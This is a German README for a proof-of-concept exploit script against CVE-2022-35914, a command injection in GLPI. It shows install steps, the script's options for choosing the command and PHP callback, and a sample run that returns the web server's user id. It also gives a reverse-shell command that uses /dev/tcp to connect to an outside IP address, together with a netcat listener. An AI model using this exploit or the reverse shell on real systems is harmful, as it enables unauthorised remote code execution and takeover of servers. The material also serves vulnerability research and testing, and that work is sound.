
PoC-Exploit für GLPI - Befehlseinschleusung mittels eines Skripts einer Drittanbieter-Bibliothek
Meine vollständige Analyse gibt es hier: https://link.medium.com/tBwDlpQl3Ib
pip install -r requirements.txt
python3 CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL [-c CMD] [-f HOOK] [-b CALLBACK] [--check] [--user-agent USER_AGENT]
CVE-2022-35914 - GLPI - Befehlseinschleusung mithilfe eines Skripts einer Drittanbieter-Bibliothek
options:
-h, --help Zeigt diese Hilfemeldung an und beendet das Programm
-u URL Zu testende URL
-c CMD Auszuführender Befehl (Standard: id)
-f HOOK PHP-Hook-Funktion (Standard: array_map)
-b CALLBACK PHP-Callback-Funktion (Standard: system)
--check Nur prüfen, keine Befehlsausführung.
--user-agent USER_AGENT Benutzerdefinierter User-Agent
Beispiel:
python3 CVE-2022-35914.py -u http://glpi
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Revshell:
python3 CVE-2022-35914.py -u http://192.168.249.242 -c 'bash -c "bash -i >& /dev/tcp/192.168.45.154/80 0>&1"'
nc -lvnp 80